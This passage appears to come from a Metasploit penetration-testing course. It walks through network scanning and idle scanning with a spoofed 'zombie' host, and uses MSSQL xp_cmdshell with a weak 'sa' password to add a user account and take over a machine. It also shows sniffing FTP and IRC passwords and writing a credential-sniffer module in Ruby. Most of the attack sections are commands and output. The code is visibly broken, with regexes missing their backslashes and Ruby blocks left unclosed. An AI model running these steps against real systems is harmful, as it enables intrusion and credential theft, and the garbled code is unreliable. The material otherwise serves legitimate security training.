launch the dradis console by issuing the following command from the '/pentest/misc/dradis/client/' directory: root@bt4:/pentest/misc/dradis/client# ruby ./dradis.rb event(s) registered: [:exception] Registered observers: {:exception=>[#>, @io=#>]} dradis> For further information on the dradis framework, you can visit the project site at http://dradisframework.org/. Port Scanning Although we have already set up and configured dradis to store our notes and findings, it is still good practice to create a new database from within Metasploit as the data can still be useful to have for quick retrieval and for use in certain attack scenarios. msf > db_create [*] Creating a new database instance... [*] File: /root/.msf3/sqlite3.db msf > load db_tracker [*] Successfully loaded plugin: db_tracker Database Backend Commands ========================= Command Description ------- ----------- db_add_host Add one or more hosts to the database db_add_note Add a note to host db_add_port Add a port to host db_autopwn Automatically exploit everything db_connect Connect to an existing database db_create Create a brand new database db_del_host Delete one or more hosts from the database db_del_port Delete one port from the database db_destroy Drop an existing database db_disconnect Disconnect from the current database instance db_driver Specify a database driver db_hosts List all hosts in the database db_import_amap_mlog Import a THC-Amap scan results file (-o -m) db_import_nessus_nbe Import a Nessus scan result file (NBE) db_import_nessus_xml Import a Nessus scan result file (NESSUS) db_import_nmap_xml Import a Nmap scan results file (-oX) db_nmap Executes nmap and records the output automatically db_notes List all notes in the database db_services List all services in the database db_vulns List all vulnerabilities in the database We can use the 'db_nmap' command to run an Nmap scan against our targets and have the scan results stored in the newly created database however, Metasploit will only create the xml output file as that is the format that it uses to populate the database whereas dradis can import either the grepable or normal output. It is always nice to have all three Nmap outputs (xml, grepable, and normal) so we can run the Nmap scan using the '-oA' flag to generate the three output files then issue the 'db_import_nmap_xml' command to populate the Metasploit database. If you don't wish to import your results into dradis, simply run Nmap using 'db_nmap' with the options you would normally use, omitting the output flag. The example below would then be 'db_nmap -v -sV 192.168.1.0/24'. msf > nmap -v -sV 192.168.1.0/24 -oA subnet_1 [*] exec: nmap -v -sV 192.168.1.0/24 -oA subnet_1 Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-13 19:29 MDT NSE: Loaded 3 scripts for scanning. Initiating ARP Ping Scan at 19:29 Scanning 101 hosts [1 port/host] ... Nmap done: 256 IP addresses (16 hosts up) scanned in 499.41 seconds Raw packets sent: 19973 (877.822KB) | Rcvd: 15125 (609.512KB) With the scan finished, we will issue the 'db_import_nmap_xml' command to import the Nmap xml file. msf > db_import_nmap_xml subnet_1.xml Results of the imported Nmap scan can be viewed via the 'db_hosts' and 'db_services' commands: msf > db_hosts [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.1 Status: alive OS: [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.2 Status: alive OS: [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.10 Status: alive OS: [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.100 Status: alive OS: msf > db_services [*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=22 proto=tcp state=up name=ssh [*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=23 proto=tcp state=up name=telnet [*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=80 proto=tcp state=up name=http [*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.2 port=23 proto=tcp state=up name=telnet We are now ready to import our results into dradis by changing to the terminal where we have the dradis console running and issuing the 'import nmap ' command. dradis> import nmap /pentest/exploits/framework3/subnet_1.nmap normal There has been an exception: [error] undefined method `each' for nil:NilClass /pentest/exploits/framework3/subnet_1.nmap was successfully imported dradis> If you switch to your dradis web interface and refresh the view, you will see the results of the imported Nmap scan in an easy to navigate tree format. Notes on Scanners and Auxiliary Modules Scanners and most other auxiliary modules use the RHOSTS option instead of RHOST. RHOSTS can take IP ranges (192.168.1.20-192.168.1.30), CIDR ranges (192.168.1.0/24), multiple ranges separated by commas (192.168.1.0/24, 192.168.3.0/24), and line separated host list files (file:/tmp/hostlist.txt). This is another use for our grepable Nmap output file. Note also that, by default, all of the scanner modules will have the THREADS value set to '1'. The THREADS value sets the number of concurrent threads to use while scanning. Set this value to a higher number in order to speed up your scans or keep it lower in order to reduce network traffic but be sure to adhere to the following guidelines: * Keep the THREADS value under 16 on native Win32 systems * Keep THREADS under 200 when running MSF under Cygwin * On Unix-like operating systems, THREADS can be set to 256. In addition to running Nmap, there are a variety of other port scanners that are available to us within the framework. msf > search portscan [*] Searching loaded modules for pattern 'portscan'... Name Description ---- ----------- scanner/portscan/ack TCP ACK Firewall Scanner scanner/portscan/ftpbounce FTP Bounce Port Scanner scanner/portscan/syn TCP SYN Port Scanner scanner/portscan/tcp TCP Port Scanner scanner/portscan/xmas TCP "XMas" Port Scanner For the sake of comparison, we'll compare our Nmap scan results for port 80 with a Metasploit scanning module. First, let's determine what hosts had port 80 open according to Nmap. msf > cat subnet_1.gnmap | grep 80/open | awk '{print $2}' [*] exec: cat subnet_1.gnmap | grep 80/open | awk '{print $2}' 192.168.1.1 192.168.1.2 192.168.1.10 192.168.1.109 192.168.1.116 192.168.1.150 The Nmap scan we ran earlier was a SYN scan so we'll run the same scan across the subnet looking for port 80 through our eth0 interface using Metasploit. msf > use scanner/portscan/syn msf auxiliary(syn) > show options Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to scan per set INTERFACE no The name of the interface PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(syn) > set INTERFACE eth0 INTERFACE => eth0 msf auxiliary(syn) > set PORTS 80 PORTS => 80 msf auxiliary(syn) > set RHOSTS 192.168.1.0/24 msf auxiliary(syn) > set THREADS 50 THREADS => 50 msf auxiliary(syn) > run [*] TCP OPEN 192.168.1.1:80 [*] TCP OPEN 192.168.1.2:80 [*] TCP OPEN 192.168.1.10:80 [*] TCP OPEN 192.168.1.109:80 [*] TCP OPEN 192.168.1.116:80 [*] TCP OPEN 192.168.1.150:80 [*] Auxiliary module execution completed So we can see that Metasploit's built-in scanner modules are more than capable of finding systems and open port for us. It's just another excellent tool to have in your arsenal if you happen to be running Metasploit on a system without Nmap installed. SMB Version Scanning Now that we have determined which hosts are available on the network, we can attempt to determine which operating systems they are running. This will help us narrow down our attacks to target a specific system and will stop us from wasting time on those that aren't vulnerable to a particular exploit. Since there are many systems in our scan that have port 445 open, we will use the 'scanner/smb/version' module to determine which version of Windows is running on a target and which Samba version is on a Linux host. msf > use scanner/smb/version msf auxiliary(version) > set RHOSTS 192.168.1.0/24 msf auxiliary(version) > set THREADS 50 msf auxiliary(version) > run [*] 192.168.1.100 is running Windows 7 Enterprise (Build 7600) (language: Unknown) [*] 192.168.1.116 is running Unix Samba 3.0.22 (language: Unknown) [*] 192.168.1.121 is running Windows 7 Ultimate (Build 7100) (language: Unknown) [*] 192.168.1.151 is running Windows 2003 R2 Service Pack 2 (language: Unknown) [*] 192.168.1.111 is running Windows XP Service Pack 3 (language: English) [*] 192.168.1.114 is running Windows XP Service Pack 2 (language: English) [*] 192.168.1.124 is running Windows XP Service Pack 3 (language: English) Also notice that if we issue the 'db_hosts' command now, the newly acquired information is stored in Metasploit's database. msf auxiliary(version) > db_hosts [*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.100 Status: alive OS: Windows Windows 7 Enterprise [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.104 Status: alive OS: [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.109 Status: alive OS: [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.111 Status: alive OS: Windows Windows XP [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.114 Status: alive OS: Windows Windows XP [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.116 Status: alive OS: Unknown Unix [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.121 Status: alive OS: Windows Windows 7 Ultimate [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.123 Status: alive OS: [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.124 Status: alive OS: Windows Windows XP [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.137 Status: alive OS: [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.150 Status: alive OS: [*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.151 Status: alive OS: Windows Windows 2003 R2 Idle Scanning Nmap's IPID Idle scanning allows us to be a little stealthy scanning a target while spoofing the IP address of another host on the network. In order for this type of scan to work, we will need to locate a host that is idle on the network and uses IPID sequences of either Incremental or Broken Little-Endian Incremental. Metasploit contains the module 'scanner/ip/ipidseq' to scan and look for a host that fits the requirements. For more information on idle scanning with Nmap, see http://nmap.org/book/idlescan.html msf auxiliary(writable) > use scanner/ip/ipidseq msf auxiliary(ipidseq) > show options RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port THREADS 1 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24 msf auxiliary(ipidseq) > set THREADS 50 msf auxiliary(ipidseq) > run [*] 192.168.1.1's IPID sequence class: All zeros [*] 192.168.1.2's IPID sequence class: Incremental! [*] 192.168.1.10's IPID sequence class: Incremental! [*] 192.168.1.104's IPID sequence class: Randomized [*] 192.168.1.109's IPID sequence class: Incremental! [*] 192.168.1.111's IPID sequence class: Incremental! [*] 192.168.1.114's IPID sequence class: Incremental! [*] 192.168.1.116's IPID sequence class: All zeros [*] 192.168.1.124's IPID sequence class: Incremental! [*] 192.168.1.123's IPID sequence class: Incremental! [*] 192.168.1.137's IPID sequence class: All zeros [*] 192.168.1.150's IPID sequence class: All zeros [*] 192.168.1.151's IPID sequence class: Incremental! Judging by the results of our scan, we have a number of potential zombies we can use to perform idle scanning. We'll try scanning a host using the zombie at 192.168.1.109 and see if we get the same results we had earlier. msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.114 [*] exec: nmap -PN -sI 192.168.1.109 192.168.1.114 Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-14 05:51 MDT Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental Interesting ports on 192.168.1.114: Not shown: 996 closed|filtered ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-term-serv MAC Address: 00:0C:29:41:F2:E8 (VMware) Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds Hunting for MSSQL One of my personal favorites is the advanced UDP footprinting of MSSQL servers. If you're performing an internal penetration test this is a must use tool. When MSSQL installs, it installs either on port 1433 TCP or a randomized dynamic TCP port. If the port is dynamically generated, this can be rather tricky for an attacker to find the MSSQL servers to attack. Luckily with Microsoft, they have blessed us with port 1434 UDP that once queried allows you to pull quite a bit of information about the SQL server including what port the TCP listener is on. Let's load the module and use it to discover multiple servers. msf > search mssql [*] Searching loaded modules for pattern 'mssql'... Name Description ---- ----------- windows/mssql/lyris_listmanager_weak_pass Lyris ListManager MSDE Weak sa Password windows/mssql/ms02_039_slammer Microsoft SQL Server Resolution Overflow windows/mssql/ms02_056_hello Microsoft SQL Server Hello Overflow windows/mssql/mssql_payload Microsoft SQL Server Payload Execution admin/mssql/mssql_enum Microsoft SQL Server Configuration Enumerator admin/mssql/mssql_exec Microsoft SQL Server xp_cmdshell Command Execution admin/mssql/mssql_sql Microsoft SQL Server Generic Query scanner/mssql/mssql_login MSSQL Login Utility scanner/mssql/mssql_ping MSSQL Ping Utility msf > use scanner/mssql/mssql_ping msf auxiliary(mssql_ping) > show options msf auxiliary(mssql_ping) > set RHOSTS 10.211.55.1/24 RHOSTS => 10.211.55.1/24 msf auxiliary(mssql_ping) > exploit [*] SQL Server information for 10.211.55.128: [*] tcp = 1433 [*] np = SSHACKTHISBOX-0pipesqlquery [*] Version = 8.00.194 [*] InstanceName = MSSQLSERVER [*] IsClustered = No [*] ServerName = SSHACKTHISBOX-0 The first command we issued was to search for any 'mssql' plugins. The second set of instructions was the 'use scanner/mssql/mssql_ping', this will load the scanner module for us. Next, 'show options' allows us to see what we need to specify. The 'set RHOSTS 10.211.55.1/24' sets the subnet range we want to start looking for SQL servers on. You could specify a /16 or whatever you want to go after. I would recommend increasing the number of threads as this could take a long time with a single threaded scanner. After the 'run' command is issued, a scan is going to be performed and pull back specific information about the MSSQL server. As we can see, the name of the machine is "SSHACKTHISBOX-0" and the TCP port is running on 1433. At this point you could use the 'scanner/mssql/mssql_login' module to brute-force the password by passing the module a dictionary file. Alternatively, you could also use Fast-Track, medusa, or hydra to do this. Once you successfully guess the password, there's a neat little module for executing the xp_cmdshell stored procedure. msf auxiliary(mssql_login) > use admin/mssql/mssql_exec msf auxiliary(mssql_exec) > show options Name Current Setting Required Description ---- --------------- -------- ----------- CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute HEX2BINARY /pentest/exploits/framework3/data/exploits/mssql/h2b no The path to the hex2binary script on the disk MSSQL_PASS no The password for the specified username MSSQL_USER sa no The username to authenticate as RHOST yes The target address RPORT 1433 yes The target port msf auxiliary(mssql_exec) > set RHOST 10.211.55.128 RHOST => 10.211.55.128 msf auxiliary(mssql_exec) > set MSSQL_PASS password MSSQL_PASS => password msf auxiliary(mssql_exec) > set CMD net user rel1k ihazpassword /ADD cmd => net user rel1k ihazpassword /ADD msf auxiliary(mssql_exec) > exploit The command completed successfully. Looking at the output of the 'net user rel1k ihazpassword /ADD', we have successfully added a user account named "rel1k", from there we could issue 'net localgroup administrators rel1k /ADD' to get a local administrator on the system itself. We have full control over this system at this point. Service Identification Again, other than using Nmap to perform scanning for services on our target network, Metasploit also includes a large variety of scanners for various services, often helping you determine potentially vulnerable running services on target machines. msf auxiliary(tcp) > search auxiliary ^scanner [*] Searching loaded modules for pattern '^scanner'... Name Description ---- ----------- scanner/db2/discovery DB2 Discovery Service Detection. scanner/dcerpc/endpoint_mapper Endpoint Mapper Service Discovery scanner/dcerpc/hidden Hidden DCERPC Service Discovery scanner/dcerpc/management Remote Management Interface Discovery scanner/dcerpc/tcp_dcerpc_auditor DCERPC TCP Service Auditor scanner/dect/call_scanner DECT Call Scanner scanner/dect/station_scanner DECT Base Station Scanner scanner/discovery/arp_sweep ARP Sweep Local Network Discovery scanner/discovery/sweep_udp UDP Service Sweeper scanner/emc/alphastor_devicemanager EMC AlphaStor Device Manager Service. scanner/emc/alphastor_librarymanager EMC AlphaStor Library Manager Service. scanner/ftp/anonymous Anonymous FTP Access Detection scanner/http/frontpage FrontPage Server Extensions Detection scanner/http/frontpage_login FrontPage Server Extensions Login Utility scanner/http/lucky_punch HTTP Microsoft SQL Injection Table XSS Infection scanner/http/ms09_020_webdav_unicode_bypass MS09-020 IIS6 WebDAV Unicode Auth Bypass scanner/http/options HTTP Options Detection scanner/http/version HTTP Version Detection scanner/ip/ipidseq IPID Sequence Scanner scanner/misc/ib_service_mgr_info Borland InterBase Services Manager Information scanner/motorola/timbuktu_udp Motorola Timbuktu Service Detection. scanner/mssql/mssql_login MSSQL Login Utility scanner/mssql/mssql_ping MSSQL Ping Utility scanner/mysql/version MySQL Server Version Enumeration scanner/nfs/nfsmount NFS Mount Scanner scanner/oracle/emc_sid Oracle Enterprise Manager Control SID Discovery scanner/oracle/sid_enum SID Enumeration. scanner/oracle/spy_sid Oracle Application Server Spy Servlet SID Enumeration. scanner/oracle/tnslsnr_version Oracle tnslsnr Service Version Query. scanner/oracle/xdb_sid Oracle XML DB SID Discovery scanner/sip/enumerator SIP username enumerator scanner/sip/options SIP Endpoint Scanner scanner/smb/login SMB Login Check Scanner scanner/smb/pipe_auditor SMB Session Pipe Auditor scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor scanner/smb/smb2 SMB 2.0 Protocol Detection scanner/smb/version SMB Version Detection scanner/smtp/smtp_banner SMTP Banner Grabber scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module scanner/snmp/community SNMP Community Scanner scanner/ssh/ssh_version SSH Version Scannner scanner/telephony/wardial Wardialer scanner/tftp/tftpbrute TFTP Brute Forcer scanner/vnc/vnc_none_auth VNC Authentication None Detection scanner/x11/open_x11 X11 No-Auth Scanner Our port scanning turned up some machines with TCP port 22 open. SSH is very secure but vulnerabilities are not unheard of and it always pays to gather as much information as possible from your targets. We'll put our grepable output file to use for this example, parsing out the hosts that have port 22 open and passing it to 'RHOSTS'. msf auxiliary(arp_sweep) > use scanner/ssh/ssh_version msf auxiliary(ssh_version) > show options RPORT 22 yes The target port msf auxiliary(ssh_version) > cat subnet_1.gnmap | grep 22/open | awk '{print $2}' > /tmp/22_open.txt [*] exec: cat subnet_1.gnmap | grep 22/open | awk '{print $2}' > /tmp/22_open.txt msf auxiliary(ssh_version) > set RHOSTS file:/tmp/22_open.txt RHOSTS => file:/tmp/22_open.txt msf auxiliary(ssh_version) > set THREADS 50 msf auxiliary(ssh_version) > run [*] 192.168.1.1:22, SSH server version: SSH-2.0-dropbear_0.52 [*] 192.168.1.137:22, SSH server version: SSH-1.99-OpenSSH_4.4 Poorly configured FTP servers can frequently be the foothold you need in order to gain access to an entire network so it always pays off to check to see if anonymous access is allowed whenever you encounter an open FTP port which is usually on TCP port 21. We'll set the THREADS to 10 here as we're only going to scan a range of 10 hosts. msf > use scanner/ftp/anonymous msf auxiliary(anonymous) > set RHOSTS 192.168.1.20-192.168.1.30 RHOSTS => 192.168.1.20-192.168.1.30 msf auxiliary(anonymous) > set THREADS 10 THREADS => 10 msf auxiliary(anonymous) > show options Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS mozilla@example.com no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOSTS yes The target address range or CIDR identifier RPORT 21 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(anonymous) > run [*] 192.168.1.23:21 Anonymous READ (220 (vsFTPd 1.1.3)) [*] Recording successful FTP credentials for 192.168.1.23 In a short amount of time and with very little work, we are able to acquire a great deal of information about the hosts residing on our network thus providing us with a much better picture of what we are facing when conducting our penetration test. Password Sniffing Recently, Max Moser released a Metasploit password sniffing module named 'psnuffle' that will sniff passwords off the wire similar to the tool dsniff. It currently supports pop3, imap, ftp, and HTTP GET. You can read more about the module on Max's Blog at http://remote-exploit.blogspot.com/2009/08/psnuffle-password-sniffer-for.html. Using the 'psnuffle' module is extremely simple. There are some options available but the module works great "out of the box". msf > use auxiliary/sniffer/psnuffle msf auxiliary(psnuffle) > show options FILTER no The filter string for capturing traffic PCAPFILE no The name of the PCAP capture file to process PROTOCOLS all yes A comma-delimited list of protocols to sniff or "all". SNAPLEN 65535 yes The number of bytes to capture TIMEOUT 1 yes The number of seconds to wait for new data As you can see, there are some options available, including the ability to import a PCAP capture file. We will run the scanner in its default mode. msf auxiliary(psnuffle) > run [*] Auxiliary module running as background job [*] Loaded protocol FTP from /pentest/exploits/framework3/data/exploits/psnuffle/ftp.rb... [*] Loaded protocol IMAP from /pentest/exploits/framework3/data/exploits/psnuffle/imap.rb... [*] Loaded protocol POP3 from /pentest/exploits/framework3/data/exploits/psnuffle/pop3.rb... [*] Loaded protocol URL from /pentest/exploits/framework3/data/exploits/psnuffle/url.rb... [*] Sniffing traffic..... [*] Successful FTP Login: 192.168.1.112:21-192.168.1.101:48614 >> dookie / dookie (220 3Com 3CDaemon FTP Server Version 2.0) There! We've captured a successful FTP login. This is an excellent tool for passive information gathering. Writing your own Scanner There are times where you may need a specific scanner, or having scan activity conducted within Metasploit would be easier for scripting purposes than using an external program. Metasploit has a lot of features that can come in handy for this purpose, like access to all of the exploit classes and methods, built in support for proxies, SSL, reporting, and built in threading. Think of instances where you may need to find every instance of a password on a system, or a scan for a custom service. Not to mention, it is fairly quick and easy to write up your own custom scanner. We will use this very simple TCP scanner that will connect to a host on a default port of 12345 which can be changed via the module options at run time. Upon connecting to the server, it sends 'HELLO SERVER', receives the response and prints it out along with the IP address of the remote host. require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'My custom TCP scan', 'Version' => '$Revision: 1 $', 'Description' => 'My quick scanner', 'Author' => 'Your name here', 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(12345) ], self.class) end def run_host(ip) connect() sock.puts('HELLO SERVER') data = sock.recv(1024) print_status("Received: #{data} from #{ip}") disconnect() We save the file into our ./modules/auxiliary/scanner/ directory as 'simple_tcp.rb' and load up msfconsole. It's important to note two things here. First, modules are loaded at run time, so our new module will not show up unless we restart our interface of choice. The second being that the folder structure is very important, if we would have saved our scanner under ./modules/auxiliary/scanner/http/ it would show up in the modules list as 'scanner/http/simple_tcp'. To test this scanner, set up a netcat listener on port 12345 and pipe in a text file to act as the server response. root@bt4:~/docs# nc -lnvp 12345 < response.txt listening on [any] 12345 ... Next, you select your new scanner module, set its parameters, and run it to see the results. msf > use scanner/simple_tcp msf auxiliary(simple_tcp) > set RHOSTS 192.168.1.101 RHOSTS => 192.168.1.101 msf auxiliary(simple_tcp) > run [*] Received: hello metasploit from 192.168.1.101 As you can tell from this simple example, this level of versatility can be of great help when you need some custom code in the middle of a penetration test. The power of the framework and reusable code really shines through here. How to write a new psnuffle module Psnuffle is easy to extend due to its modular design. This section will guide through the process of developing an IRC (Internet Relay Chat) protocol sniffer (Notify and Nick messages). Module Location All the different modules are located in data/exploits/psnuffle. The names are corresponding to the protocol names used inside psnuffle. To develop our own module, we take a look at the important parts of the existing pop3 sniffer module as a template. Pattern definitions: self.sigs = { :ok => /^(+OK[^n]*)n/si, :err => /^(-ERR[^n]*)n/si, :user => /^USERs+([^n]+)n/si, :pass => /^PASSs+([^n]+)n/si, :quit => /^(QUITs*[^n]*)n/si } This section defines the expression patterns which will be used during sniffing to identify interesting data. Regular expressions look very strange at the beginning but are very powerful. In short everything within () will be available within a variable later on in the script. :user => /^(NICKs+[^n]+)/si, :pass => /b(IDENTIFYs+[^n]+)/si,} For IRC this section would look like the ones above. Yeah i know not all nickservers are using IDENTIFY to send the password, but the one on freenode does. Hey its an example :-) Session definition: For every module we first have to define what ports it should handle and how the session should be tracked. return if not pkt[:tcp] # We don't want to handle anything other than tcp return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667 #Ensure that the session hash stays the same for both way of communication if (pkt[:tcp].dst_port == 6667) # When packet is sent to server s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}") else # When packet is coming from the server s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}") Now that we have a session object that uniquely consolidates info, we can go on and process packet content that matched one of the regular expressions we defined earlier. case matched when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content s[:user]=matches #Store the name into the session hash s for later use # Do whatever you like here... maybe a puts if you need to when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching s[:pass]=matches # Store the password into the session hash s as well if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n" sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore when nil # No matches, don't do anything else # Just in case anything else is matching... sessions[s[:session]].merge!({k => matches}) # Just add it to the session object That's basically it. Download the full script here. Additional Services In order to provide a larger attack surface for the various components of Metasploit, we will enable and install some additional services within our Windows virtual machine. Internet Information Services (IIS) and Simple Network Management Protocol (SNMP) To begin, navigate to the Control Panel and open 'Add or Remove Programs'. Select 'Add/Remove Windows Components' on the left-hand side. Select the 'Internet Information Services (IIS)' checkbox and click 'Details'. Select the 'File Transfer Protocol (FTP) Service' checkbox and click 'OK'. By default, the installed IIS FTP service allows for anonymous connections. Lastly, select the 'Management and Monitoring Tools' checkbox and click 'Details'. Ensure that both options are selected and click 'OK'. When all is ready, click 'Next' to proceed with the installation of IIS and SNMP. There is an issue with the .NET Framework installed in the NIST virtual machine but it is easily fixed. In the Control Panel, select 'Add or Remove Programs' again, select 'Microsoft .NET Framework 2.0 Service Pack 1', and click 'Change'. A progress window will pop up and a progress bar will be displayed and then it will close. This is normal behaviour and you can now exit the Control Panel and proceed. SQL Server 2005 Express We will also perform an installation of Microsoft's free SQL Server 2005 Express. This will allow us to use some of the different SQL modules in Metasploit. First, download the non-service pack version of SQL Server Express here: http://www.microsoft.com/downloads/details.aspx?familyid=220549B5-0B07-4448-8848-DCC397514B41&displaylang=en Note that if you are using your own custom-built VM for this course, you will need to install the Windows Installer 3.1 and the .Net Framework 2.0 in order to install SQL Express. Windows Installer 3.1: http://www.microsoft.com/downloads/details.aspx?familyid=889482FC-5F56-4A38-B838-DE776FD4138C&displaylang=en .NET Framework 2.0 http://www.microsoft.com/downloads/details.aspx?FamilyID=0856EACB-4362-4B0D-8EDD-AAB15C5E04F5&displaylang=en Once the installer has finished downloading, we can run it and select all of the defaults except for 'Authentication Mode'. Select 'Mixed Mode', set an 'sa' password of 'password1', and then continue on with the rest of the installation. Once the installation is complete, we will need to make it accessible on our network. Click 'Start' -> 'All Programs' -> 'Microsoft SQL Server 2005' -> 'Configuration Tools' -> 'SQL Server Configuration Manager'. When the Configuration Manager starts up, select 'SQL Server 2005 Services', right-click 'SQL Server (SQL EXPRESS)' and select 'Stop'. Next, expand 'SQL Server 2005 Network Configuration' and select 'Protocols for SQLEXPRESS'. Double-click 'TCP/IP', change 'Enabled' to 'Yes', and change 'Listen All' to 'No' on the 'Protocol' tab. Next, select the 'IP Addresses' tab, and remove any entries under 'IPAll'. Under 'IP1' and 'IP2', remove any values for 'Dynamic Ports'. Both IP1 and IP2 should have 'Active' and 'Enabled' set to 'Yes'. Lastly, set the IP1 'IP Address' to your local address and set the IP2 address to 127.0.0.1. Your settings should look similar to the screenshot below. Click 'OK' when everything is set correctly. Next, we'll enable the SQL Server Browser service. Select 'SQL Server 2005 Services' and double-click 'SQL Server Browser'. On the 'Service' tab, set the 'Start Mode' to 'Automatic' and click 'OK'. By default, the SQL server runs under a limited-privilege account which breaks a lot of custom web applications. We will change this by double-clicking 'SQL Server (SQLEXPRESS)' and setting it to Log On as the Built-in Account 'Local System'. This can also be set by running 'services.msc'. Click 'OK' when you've finished. With everything finally configured, right-click 'SQL Server (SQL EXPRESS) and select 'Start'. Do the same for the 'SQL Server Browser' service. You can now exit the Configuration Manager and verify that the services are listening properly by running 'netstat -ano' from a command prompt. You should see UDP port 1434 listening as well as your network IP address listening on port 1433. SNMP Sweeping SNMP sweeps are often a good indicator in finding a ton of information about a specific system or actually compromising the remote device. If you can find a Cisco device running a private string for example, you can actually download the entire device configuration, modify it, and upload your own malicious config. Also a lot of times, the passwords themselves are level 7 encoded which means they are trivial to decode and obtain the enable or login password for the specific device. Metasploit comes with a built in auxiliary module specifically for sweeping SNMP devices. There are a couple of things to understand before we perform our attack. First, read only and read write community strings play an important role on what type of information can be extracted or modified on the devices themselves. If you can "guess" the read-only or read-write strings you can obtain quite a bit of access you would not normally have. In addition, if Windows based devices are configured with SNMP, often times with the RO/RW community strings you can extract patch levels, services running, last reboot times, usernames on the system, routes, and various other amounts of information that is valuable to an attacker. When querying through SNMP, there is whats called an MIB API. The MIB stands for the Management Information Base (MIB), this interface allows you to query the device and extract information. Metasploit comes loaded with a list of default MIBs that it has in its database, it uses them to query the device for more information depending on what level of access is obtained. Let's take a peek at the auxiliary module. msf > search snmp [*] Searching loaded modules for pattern 'snmp'... Name Description ---- ----------- windows/ftp/oracle9i_xdb_ftp_unlock Oracle 9i XDB FTP UNLOCK Overflow (win32) scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module scanner/snmp/community SNMP Community Scanner msf > use scanner/snmp/community msf auxiliary(community) > show options Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set COMMUNITIES /pentest/exploits/framework3/data/wordlists/snmp.txt no The list of communities that should be attempted per host RHOSTS yes The target address range or CIDR identifier RPORT 161 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(community) > set RHOSTS 192.168.0.0-192.168.5.255 rhosts => 192.168.0.0-192.168.5.255 msf auxiliary(community) > set THREADS 10 threads => 10 msf auxiliary(community) > exploit [*] >> progress (192.168.0.0-192.168.0.255) 0/30208... [*] >> progress (192.168.1.0-192.168.1.255) 0/30208... [*] >> progress (192.168.2.0-192.168.2.255) 0/30208... [*] >> progress (192.168.3.0-192.168.3.255) 0/30208... [*] >> progress (192.168.4.0-192.168.4.255) 0/30208... [*] >> progress (-) 0/0... [*] 192.168.1.50 'public' 'APC Web/SNMP Management Card (MB:v3.8.6 PF:v3.5.5 PN:apc_hw02_aos_355.bin AF1:v3.5.5 AN1:apc_hw02_sumx_355.bin MN:AP9619 HR:A10 SN: NA0827001465 MD:07/01/2008) (Embedded PowerNet SNMP Agent SW v2.2 compatible)' As we can see here, we were able to find a community string of "public", this is most likely read-only and doesn't reveal a ton of information. We do learn that the device is an APC Web/SNMP device, and what versions its running. Vulnerability Scanning Vulnerability scanning will allow you to quickly scan a target IP range looking for known vulnerabilities, giving a penetration tester a quick idea of what attacks might be worth conducting. When used properly, this is a great asset to a pen tester, yet it is not without it's draw backs. Vulnerability scanning is well known for a high false positive and false negative rate. This has to be kept in mind when working with any vulnerability scanning software. Lets look through some of the vulnerability scanning capabilities that the Metasploit Framework can provide. SMB Login Check A common situation to find yourself in is being in possession of a valid username and password combination, and wondering where else you can use it. This is where the SMB Login Check Scanner can be very useful, as it will connect to a 